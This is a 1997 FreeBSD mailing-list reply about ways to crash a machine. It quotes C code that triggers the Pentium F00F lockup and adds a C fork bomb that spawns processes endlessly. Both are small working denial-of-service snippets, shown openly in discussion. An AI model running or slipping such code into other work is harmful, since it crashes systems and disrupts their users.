From owner-freebsd-questions Sun Nov 9 17:51:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA22772 for questions-outgoing; Sun, 9 Nov 1997 17:51:12 -0800 (PST) (envelope-from owner-freebsd-questions) Received: from iconoclastic.com (dyna200.dialup.dti.net [206.252.158.46]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA22762 for ; Sun, 9 Nov 1997 17:51:07 -0800 (PST) (envelope-from spork@dti.net) Received: from localhost (spork@localhost) by iconoclastic.com (8.8.5/8.8.5) with SMTP id UAA03023; Sun, 9 Nov 1997 20:46:57 GMT X-Authentication-Warning: iconoclastic.com: spork owned process doing -bs Date: Sun, 9 Nov 1997 20:46:56 +0000 (GMT) From: sporkl X-Sender: spork@iconoclastic.com Reply-To: sporkl@dti.net To: Michael Richards <026809r@dragon.acadiau.ca> cc: freebsd-questions@FreeBSD.ORG Subject: Re: Crashing FreeBSD In-Reply-To: <199711100059.UAA23095@dragon.acadiau.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Well, there are other ways too. 1. Toggle power really fast 2. write a "forkbomb": #include main() { for(;;) {fork();} } I am sure there are other ways. -Spike Gronim sporkl@dti.net "Tradition is the chastity belt of the mind" On Sun, 9 Nov 1997, Michael Richards wrote: > Well folks, it looks like anyone can crash a FreeBSD box. I am told that > this is a bug in the pentium processor. Compile and run, it will crash the > machine right away... > > Very simple: > > > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }; > > main () { > void (*f)() = x; > f(); > } > >